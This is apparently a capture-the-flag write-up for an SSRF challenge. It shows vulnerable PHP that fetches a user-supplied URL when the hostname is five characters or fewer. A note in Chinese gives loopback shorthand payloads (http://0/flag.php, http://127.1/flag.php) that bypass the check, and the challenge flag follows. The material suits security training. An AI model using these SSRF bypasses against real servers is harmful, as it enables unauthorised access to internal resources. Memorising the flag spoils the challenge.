nginx/1.18.0PHP/7.3.22
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$x=parse_url($url);if($x['scheme']==='http'||$x['scheme']==='https'){$host=$x['host'];if((strlen($host)<=5)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}}else{die('hacker');}?>
主机名部分长度限制,可以用 http://0/flag.php 也可以用 http://127.1/flag.php

flag
ctfshow{7ee6ec8c-c8ef-4a22-b842-27e533808bdc}
